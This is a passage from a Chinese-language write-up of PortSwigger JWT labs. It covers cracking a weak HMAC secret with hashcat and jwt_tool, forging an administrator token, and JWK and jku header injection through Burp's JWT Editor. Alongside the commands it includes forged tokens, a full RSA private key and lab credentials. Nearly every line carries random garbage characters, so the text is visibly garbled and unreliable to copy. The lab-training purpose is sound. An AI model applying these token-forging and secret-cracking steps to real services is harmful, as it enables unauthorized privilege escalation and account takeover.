Step 5：使用字典进行暴力猜解操作 5 v& p" B2 E0 q1 W9 H

" g$ q- w" h5 q* G0 ` 方式一：HashCat
项目地址：https://github.com/hashcat/hashcat
9 a1 V S$ V& K3 k/ T项目使用： / G3 `. g: U- r7 A

* _0 S) ~4 Z$ B8 V7 k6 c

#命令格式：
0 Q/ @9 X8 M8 e$ `. y9 ~; x& F0 Vhashcat -a 0 -m 16500 <jwt> <wordlist>

#执行示例：
$ ?3 W/ S5 L& g2 H; G+ v* ~hashcat -m 16500 jwt.txt -a 0 secrets.txt --force

" p9 i6 B+ r/ Y# d# j8 b5 g& x8 `

8 M0 m) r @+ g# B' D" ~ / n/ z& Q" ? p5 Z0 e

方式二：jwt_tool
项目地址：https://github.com/ticarpi/jwt_tool
项目介绍：此项目主要用于JWT安全脆弱性评估，目前支持如下几种安全评估测试 O+ B# V( Y% G' ~4 [0 v" T9 T

7 j" H m% v$ m, z; D* Q# [: {
• (CVE-2015-2951) The alg=none signature-bypass vulnerability
& K! P# p9 S& h' M6 B
• (CVE-2016-10555) The RS/HS256 public key mismatch vulnerability ; ]; d" T: H6 U; n
• (CVE-2018-0114) Key injection vulnerability
• (CVE-2019-20933/CVE-2020-28637) Blank password vulnerability ) n8 L: g3 s- P2 ]4 c; G9 J3 J
; [2 T. D' {) ?6 ~( A* k; N( r
• (CVE-2020-28042) Null signature vulnerability

; I! i+ z* s+ F+ Z+ I0 O 0 |1 N( D7 {" P1 N/ \

- c M3 E) {4 R: X, B. w5 t# I& ?% j6 V

" L2 a. E7 T; @2 u Step 1：克隆项目到本地 ; d, @! V; @- K7 X+ C

% O2 n% a) m6 u x

0 t3 N/ B: d7 ~# i' P9 r2 ]9 ]; ` https://github.com/ticarpi/jwt_tool

: X# A$ h6 R- N# V

Step 2：安装依赖库 : t9 s+ K! C& c) R. f

5 j+ q7 g7 T X2 s; { pip3 install pycryptodomex ' O- o: S. b% P" _: a0 J

6 y M- i0 c6 k: d1 x3 z Step 3：运行jwt_tool并查看用法信息 # ]! J3 T* p+ a4 ^6 V

( B! g, ~0 `! b2 U% T, Q5 l. m$ v

* {/ v' D7 b1 A" ^$ ~ python3 jwt_tool.py -h

! y; N6 v+ f A 7 M; ]; u8 y* q! f

usage: jwt_tool.py [-h] [-b] [-t TARGETURL] [-rc COOKIES] [-rh HEADERS] [-pd POSTDATA] [-cv CANARYVALUE] [-np] [-nr] [-M MODE] [-X EXPLOIT] [-ju JWKSURL] [-S SIGN] [-pr PRIVKEY] [-T] [-I] [-hc HEADERCLAIM] [-pc PAYLOADCLAIM] [-hv HEADERVALUE]
( p6 s- ]3 s6 J0 t5 Y1 E6 n                   [-pv PAYLOADVALUE] [-C] [-d DICT] [-p PASSWORD] [-kf KEYFILE] [-V] [-pk PUBKEY] [-jw JWKSFILE] [-Q QUERY] [-v]
                   [jwt]
+ t* l" P. ^6 T
% [8 u' B1 X6 t% N! rpositional arguments:
8 J; H* B# h, j$ w  jwt                   the JWT to tinker with (no need to specify if in header/cookies)

options:
6 N3 E+ z$ G, v: y1 |/ ]" T+ `  -h, --help            show this help message and exit
) Z; `9 O' S3 q* s+ n$ n- i  -b, --bare            return TOKENS ONLY
  -t TARGETURL, --targeturl TARGETURL
+ x( N+ p; `, B                        URL to send HTTP request to with new JWT
" F: h7 O6 Z& s( W5 c  -rc COOKIES, --cookies COOKIES
. \6 Y: O: ?3 ]- a4 m( O2 h                        request cookies to send with the forged HTTP request
  -rh HEADERS, --headers HEADERS
* l7 ], H5 a% K: q                        request headers to send with the forged HTTP request (can be used multiple times for additional headers)
+ q1 P' i* w6 W7 e  -pd POSTDATA, --postdata POSTDATA
- x1 z I: o3 w' P1 `1 h, V                        text string that contains all the data to be sent in a POST request
$ U/ n' o! F+ g @ s0 V- y  -cv CANARYVALUE, --canaryvalue CANARYVALUE
+ W, ?- J2 o. k7 t; ]. Q) L7 G                        text string that appears in response for valid token (e.g. "Welcome, ticarpi")
- N! W0 v" k6 \- u/ {. G  -np, --noproxy        disable proxy for current request (change in jwtconf.ini if permanent)
. x8 Y+ M2 g f3 D  -nr, --noredir        disable redirects for current request (change in jwtconf.ini if permanent)
: n* R$ F" y, s4 W) ~& X% _  -M MODE, --mode MODE  Scanning mode:
                        pb = playbook audit
                        er = fuzz existing claims to force errors
8 Z' }, M+ L" V i& c5 D4 m                        cc = fuzz common claims
5 J5 F, }- X# y! X1 t                        at - All Tests!
/ Y4 v: a" Y# }  -X EXPLOIT, --exploit EXPLOIT
                        eXploit known vulnerabilities:
                        a = alg:none
' S# o: M: d5 g+ E/ ~( [" Y                        n = null signature
                        b = blank password accepted in signature
                        s = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)
n& F& [+ ]! w- l9 M                        k = key confusion (specify public key with -pk)
                        i = inject inline JWKS
8 ~" ]6 W" A) H' ]  -ju JWKSURL, --jwksurl JWKSURL
                        URL location where you can host a spoofed JWKS
  -S SIGN, --sign SIGN  sign the resulting token:
. N: G/ f( A7 d) |                        hs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p)
                        rs256/rs384/hs512 = RSA signing (specify an RSA private key with -pr)
                        es256/es384/es512 = Elliptic Curve signing (specify an EC private key with -pr)
                        ps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr)
  -pr PRIVKEY, --privkey PRIVKEY
                        Private Key for Asymmetric crypto
  -T, --tamper          tamper with the JWT contents
/ y0 X9 G- t/ h2 e7 z                        (set signing options with -S or use exploits with -X)
" d: A* h* H" d! Z& L. ~; L  -I, --injectclaims    inject new claims and update existing claims with new values
6 k/ O+ g& p# @9 D3 S                        (set signing options with -S or use exploits with -X)
2 P; a5 Q% w- ^/ Z+ E. k9 ?                        (set target claim with -hc/-pc and injection values/lists with -hv/-pv
9 h o- b- H7 A/ O8 _- u  -hc HEADERCLAIM, --headerclaim HEADERCLAIM
2 j% I. v2 k( ^                        Header claim to tamper with
( P; u( D. u- H) W4 d. j  -pc PAYLOADCLAIM, --payloadclaim PAYLOADCLAIM
' S+ w. r/ u! T a1 `; ^                        Payload claim to tamper with
4 k, i) E' W4 P. Z1 w; Z  -hv HEADERVALUE, --headervalue HEADERVALUE
                        Value (or file containing values) to inject into tampered header claim
  -pv PAYLOADVALUE, --payloadvalue PAYLOADVALUE
& H* G- d, S8 ~( ~                        Value (or file containing values) to inject into tampered payload claim
. J6 w! o; \1 R8 N) }  -C, --crack           crack key for an HMAC-SHA token
7 J9 l, }8 ]2 H                        (specify -d/-p/-kf)
6 M6 b7 b( H9 G9 e. q% y- W$ X  -d DICT, --dict DICT  dictionary file for cracking
) O3 L( _/ e! e8 f# s, e" \  -p PASSWORD, --password PASSWORD
6 b; \! s0 p7 c1 g( g& q                        password for cracking
4 R1 f: h3 b0 i& w5 y6 G) m" A6 s" V9 o  -kf KEYFILE, --keyfile KEYFILE
: C6 G0 @- V% J# M" j; `- M }# \                        keyfile for cracking (when signed with 'kid' attacks)
  -V, --verify          verify the RSA signature against a Public Key
                        (specify -pk/-jw)
# \, D( w f6 }  -pk PUBKEY, --pubkey PUBKEY
                        Public Key for Asymmetric crypto
  -jw JWKSFILE, --jwksfile JWKSFILE
% Y0 Z+ }) E1 \, h! T% }( w                        JSON Web Key Store for Asymmetric crypto
  -Q QUERY, --query QUERY
: q% N+ _. {/ F+ s) S% z: a                        Query a token ID against the logfile to see the details of that request
" O* R# w! U3 Q. i7 \                        e.g. -Q jwttool_46820e62fe25c10a3f5498e426a9f03a
  -v, --verbose         When parsing and printing, produce (slightly more) verbose output.
% D' o! b+ h- s/ X; K, G6 s
% q; x0 O! Q7 f A4 j: WIf you don't have a token, try this one:
' r, N( L. i. f! ?0 m- @, EeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po ( Q* s( ~, n" q4 ?* `+ j

1 v+ t7 t0 c. i2 w8 O

Step 4：暴力猜解密钥

" c1 f7 y0 t6 `' O0 H! r

: E& h- J2 X* ^/ k- R, V9 u

#命令格式
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
' ~/ c2 P6 `- w
#执行示例
! d/ M; k) M9 ?6 D4 Jpython3 jwt_tool.py eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw -C -d secrets.txt , q: y( e9 g; d$ f1 |' y; s# T

3 i) ~ N3 ], D 2 K5 k6 m0 d& {" U. J* G

8 r( k/ z- A/ i0 K" b" V3 \, {0 v# a

8 N! k* L. \5 V# C! ^ 附加扩展：

#尝试破解密钥(HMAC算法)
& p( p" e3 t( Y+ i7 U4 Hpython3 jwt_tool.py JWT_HERE -C -d dictionary.txt

#尝试使用已知的公钥对不对称密码(RS-，EC-，PS-)进行"密钥混淆"攻击
python3 jwt_tool.py JWT_HERE -K -pk my_public.pem
& Q+ Q% V Q- X1 x3 l- O9 m
- Y2 J! M, O- @, ~- y6 S#尝试使用"无"算法来创建未验证的令牌
* S/ T' H4 [6 A" l, b7 S, apython3 jwt_tool.py JWT_HERE -A

& j c" `. p8 M4 |4 P#处理JSON Web密钥存储文件，重建公共密钥，然后测试密钥以查看验证令牌的密钥
/ b* r. j5 U7 H1 p" o7 k/ H* Gpython3 jwt_tool.py JWT_HERE -J -jw jwks.json
' p7 h! x+ X+ c% h" v; j
; T- |& Q3 A4 z#生成一个新的RSA密钥对，将公钥作为JSON Web密钥存储对象注入令牌并使用私钥对令牌签名
4 T% M; E3 r2 {* F' Ypython3 jwt_tool.py JWT_HERE -I
( ?& A: G6 u7 a5 N. m: v
8 X5 ~! H# F) g& h: P/ _0 |#欺骗远程JWKS：生成新的RSA密钥对，将提供的URL注入令牌，将公共密钥导出为JSON Web密钥存储对象(以提供的URL进行服务)并使用私钥对令牌签名
8 B* b% B4 J* L2 B: o8 S+ Wpython3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json / f9 @5 [) s; }

. D7 e; x7 R& w, P' @# D Step 5：随后在网页端重新设置密钥(secret1)并重新产生的字符串
Header： 3 s: H2 G0 Q* u. O

eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9
{"kid":"ccf8b97a-94fe-4c7d-9b61-276f0654c2eb","alg":"HS256"} 2 o* v$ O$ B/ K7 G7 H5 _' o: U" R! ?

, A( `1 S$ K9 V$ c( ^

' K: K* i2 X8 V @

payload(前)： 9 t0 y6 Z! U. m/ K4 t5 V' W

* K5 B! o4 c1 s% L! o2 ?

eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5OTk1OX0
{"iss":"portswigger","sub":"wiener","exp":1687799959} & L7 d; T+ g! A- ~. p% I) U

/ {8 |' J" } u+ E: @! a

0 V: v+ q. s% g$ w- V

4 Z) G, p% s' r+ x( S payload(新)：

$ Z K1 n0 l! J+ U( P4 V( A( f3 l% ^ |

{"iss":"portswigger","sub":"administrator","exp":1687799959}
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9

7 z( C. g' n$ _

* l& @* }' q |/ W* a! m/ Q

* X. i. v7 B+ t7 l# y6 H Signer: , x1 t) q$ ^6 m/ p3 _

E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0 / q* `' T: t, ~ @# c

) _1 v4 }1 c$ o8 k + P- s6 v7 |7 R0 ?( u' c, Z

+ ?; Z8 ?" }- z( E, J 最终高权限的JWT token如下：

eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9.E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0 : }3 c9 T" c, Y8 a

; e) \, t( m6 g$ T' j: {

Step 6：访问/admin路径 5 z! g/ {% ^) g3 b- h! g& N

2 p D" U2 g( D, m4 @* L Step 7：调用接口删除用户完成解答

6 E, s& E0 F2 C7 h! P* g" F3 F& L

% B$ N$ U. D% O5 [! |7 p JWT头部注入

- `# E, I1 }2 N0 k 场景介绍 . G, y" R0 g9 x* W

9 w R S+ e. J# l8 `

如果服务器端使用一个非常脆弱的密钥，我们甚至有可能一个字符一个字符地来暴力破解这个密钥，根据JWS规范只有alg报头参数是强制的，然而在实践中JWT报头通常包含几个其他参数，以下是攻击者特别感兴趣的： 4 X( @$ ]: S7 H

( ~$ ~2 ]( M# i0 e7 P: i6 S& Q8 K7 {

• ! v1 C8 R7 L' i" A jwk(JSON Web Key)：提供一个代表密钥的嵌入式JSON对象 7 [4 I0 u8 W: S u+ a0 [6 f
4 w$ C( x m0 N/ v; _' C
• jku(JSON Web Key Set URL)：提供一个URL，服务器可以从这个URL获取一组包含正确密钥的密钥
• 6 D# b T! F. h- X& K kid(密钥id)：提供一个ID，在有多个密钥可供选择的情况下服务器可以用它来识别正确的密钥，根据键的格式这可能有一个匹配的kid参数
- D& `2 q1 p& S% M' a1 |( {4 v

这些用户可控制的参数每个都告诉接收方服务器在验证签名时应该使用哪个密钥，下面我们将介绍如何利用这些参数来注入使用您自己的任意密钥而不是服务器的密钥签名修改过的JWT

" X; Q9 V% M) |/ m1 m

注入场景1 2 ~; }3 A' g' P

下面我们介绍如何通过JWK参数注入自签名的JWT，JWS(JSON Web Signature)规范描述了一个可选的jwk header参数，服务器可以使用该参数以jwk格式将其公钥直接嵌入令牌本身，您可以在下面的JWT head中看到具体的示例: ; W- n0 f4 s3 J6 |! i& L

" j5 d$ v4 I$ X% w' C! V

# H0 `7 I! h# M6 {( r' F

{
3 d A6 L5 J) B, C' ^    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
$ s. n! j3 q7 b% i) z; j0 f' S, m    "alg": "RS256",
- R) k C& J; ]6 |0 p2 o8 ~" r3 }    "jwk": {
5 r% N' _2 [( J9 {1 K        "kty": "RSA",
6 \; r4 n! W7 i; d/ j, z% X        "e": "AQAB",
2 P ?- h1 F q5 S( L        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
4 Q9 A. T8 x# f7 m0 E- I    }
- z+ s! u' `! @- c1 r; }4 Z- t6 H}

8 S9 v$ ^) P# c8 Q; C1 O" \" n& \

理想情况下服务器应该只使用有限的公钥白名单来验证JWT签名，然而错误配置的服务器有时会使用jwk参数中嵌入的键值，您可以通过使用自己的RSA私钥对修改后的JWT进行签名，然后在jwk头中嵌入匹配的公钥来利用这种行为，Burpsuite的JWT Editor扩展提供了一个有用的功能来帮助您测试此漏洞，您可以在Burp中手动添加或修改JWT参数
靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection

$ h0 Y4 |; J2 `3 U . `7 ~- G T1 n" p; A$ E

) h6 U8 C& d S% X- G% g' c

Step 1：点击"ACCESS THE LAB"访问靶场

4 d2 U5 n/ K; i& _3 O5 Y t

2 ?4 t4 }* k: k" ?, k

Step 3：点击"My Account"登录系统 , x4 Y8 V% G) m$ @8 T* r

2 N% j. t# P9 s( ^1 e5 K

5 z' H! y3 r( T6 X9 ^! @* q wiener:peter

# n$ P& Z9 `% N' y- f/ C1 _- F

; V) Y4 [. h2 B6 Z& l6 [/ D9 c

4 Q I, [" T2 |' G% ?. j% h+ y

Step 4：登录之后可以看到如下邮箱更新界面 ( k- o1 G- n' g" f1 ?4 M2 X0 x+ f

6 T' e, l& c- T7 U& _$ z& _

/ D& t" |" H% v( n Step 5：下面我们开始操作，不过在此之前我们得先武器化以下自己，在Burpsuite界面选择"Extender"选项卡，紧接着点击"BApp Store"安装"JWT Editor" " W% A z+ a6 g+ K+ I% W, [

! K' r* [, c3 L$ T

& u7 @# Y# F( N 之后你可以看到如下的选项卡界面 9 {5 {, C E. X7 s+ O g! A

/ ^3 ?( B- i1 W9 r" ~' I0 [

. g9 d/ H7 g$ F$ X; j+ h

" F: l! l6 f5 A0 o: P) A Step 6：生成一个新的RSA密钥

2 N0 k: c& V" K9 w; G* M" o

5 A& c3 o5 {$ p8 z1 w0 R! @% V

5 w& T' \) d2 x7 }4 V {
    "p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU",
    "kty": "RSA",
    "q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8",
    "d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ",
) S, K- y& ]# g; r    "e": "AQAB",
    "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
    "qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks",
0 L8 q9 q0 J( `5 I    "dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0",
    "dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M",
4 Q4 G' b$ J6 T" Y$ b    "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
} $ a5 h* I7 z5 f; P

6 ^- w3 A9 U( r* ^" a' o2 h9 ~

Step 7：刷新页面拦截到请求并将请求发送到Repeat模块

) U3 V/ b: N% I: c- W' ~8 c& q8 W

Step 8：在Repeat模块，我们切换到JSON Web Token选项卡，修改JWT的有效负载将sub内容修改为administrator

& C; \4 u# Y. `

% E" }* N& d9 w! D

6 K% B( ]3 E9 ^" f: M

7 e- s! `& b6 T2 J7 n G- _" L

/ H3 j/ T" o: g5 C$ A1 Y2 ? Step 9：点击"Attack"，然后选择"Embedded JWK"，出现提示时选择您新生成的RSA密钥

! `# R5 t% }9 b1 X" Y

9 |2 K+ O. B3 L/ X

Step 10：之后成功越权

; b; C: w+ A0 K! H

Step 11：调用敏感操作接口删除carlos用户完成解题

. b* M" ~; T( Q4 g5 x5 B

 

Q" d: t1 c J* ~0 E

7 R# t* Y1 L, c4 Z2 O( n   + B6 M' F- E) q- M( J8 S7 E" X

注入场景2

$ C1 m9 _3 j( w! S3 \0 q

* `+ }- I- { N7 v! U1 L0 Z0 i 有些服务器可以使用jku(jwk Set URL)头参数来引用包含密钥的JWK集，而不是直接使用JWK头参数来嵌入公钥，当验证签名时，服务器从这个URL获取相关的密钥，这里的JWK集其实是一个JSON对象，包含一个代表不同键的JWK数组，下面是一个简单的例子： - v6 [7 }* H4 S4 D

1 O. T0 g2 ~% E& v9 G! E2 k3 k9 `2 _

{
    "keys": [
" f) q2 Q7 s( o; @1 m6 M9 f9 S+ [2 L        {
4 P3 j0 |! {* X2 Z            "kty": "RSA",
            "e": "AQAB",
6 V3 Y- z" ]# S0 A            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
6 V8 a- r$ t2 W* |/ K H$ f- X$ `        },
        {
            "kty": "RSA",
            "e": "AQAB",
9 R. r/ {0 Q% w7 D& g) L            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
+ @; P( `( y* C5 K7 z& P' T        }
5 V( j/ m6 v2 f0 R2 C4 F    ]
} + t g3 y/ c' [. ~

JWK集合有时会通过一个标准端点公开，比如:/.well-known/jwks.json，更安全的网站只会从受信任的域获取密钥，但有时您可以利用URL解析差异来绕过这种过滤，下面我们通过一个靶场来实践以下
靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection

! p. E( k5 P+ K

; v' I% t: `) e2 |3 ?. S& o 0 S6 }7 N4 v* r8 V+ J- \1 F( p" q

) O6 @8 f: `# f% q

6 k. d3 [- H! T9 jStep 1：首先点击上方的"ACCESS THE LAB"选项卡进入实验环境

; W- P2 Z4 f* M7 ~ n, Z; R+ v3 V: t

4 _8 q4 B, B- [1 @: n

( h2 I. V% B5 E3 K a+ E. K) V, c- N( c

% w! `+ { R) x1 M6 J Step 2：登录系统

0 z; ~9 n$ F( S' g! e& ? {2 H7 a wiener:peter

+ x* K: w4 E8 o" s( n. q1 v

Step 3：随后你会看到一个用户邮箱更新的表单 4 I2 r \5 A) A+ t

4 V6 V; G2 s" P: U; g( x

Step 4：使用burpsuite生成一个新的RSA密钥

$ \* `8 N9 L" b( k x

" A0 o7 w+ u7 x) g2 F) s* w* C2 I0 q

{
: @# W5 D. h5 l7 O- ? R2 Q    "p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU",
    "kty": "RSA",
3 f- _$ Z+ i( t9 r j5 x( Y0 J    "q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8",
    "d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ",
    "e": "AQAB",
, @( e8 g0 [, K% P. T6 O1 j    "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
3 _3 U8 f& i8 i    "qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks",
    "dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0",
' Y% z% [$ }( f% K3 p0 [5 h    "dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M",
    "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
$ A6 q0 H! y$ b8 f+ O2 \$ n}

8 S" G, e+ U- I

" {& s; F# _. Z5 B8 i/ T, l' T

3 }+ q- W9 T8 m; v9 Q! [$ F/ n

Step 5：发送请求到repeat # q* S3 l. R% Z5 x& F9 G3 k& B

4 M- C+ g6 s4 m

( B0 r2 P5 z) `' X0 U Step 6：复制公钥作为JWK

3 x% L) L0 N, W {
9 E6 R" q1 }7 L    "kty": "RSA",
    "e": "AQAB",
( S& m; E: B5 ^    "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
+ B& L3 y$ q+ P2 i; M* d    "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
} $ Y. l$ J, B- [1 _

$ [0 U9 R& \0 K2 y: H/ y) P* S3 D

8 a4 N# B/ y3 `' N$ u4 R2 ?

Step 7：在题目中选择"Go eo exploit server"，然后加上key头并保存到exploit的body中

, i2 ^/ v) b; G$ u. y

8 K) e; O+ e/ P+ K% U& y7 Y {
   "keys": [
       {
# H0 c. T. O6 `# g' l           "kty": "RSA",
           "e": "AQAB",
           "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
           "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
     }
    ]
} + _% }( J% N: q* Q

) C/ M% V) R+ F3 l

5 S @8 w6 F9 M& Q; q3 ^

# @6 ^: v3 k# P

Step 8：然后切换至repeat的"JSON Web Token"界面，将kid修改成自己生成的JWK中的kid值，将jku的值改为exploit + u0 }6 g1 G1 M# `: @6 k2 h- a

: P) y3 U/ S/ H, y( @" W# d : l( J6 W* G! }! a$ f2 \
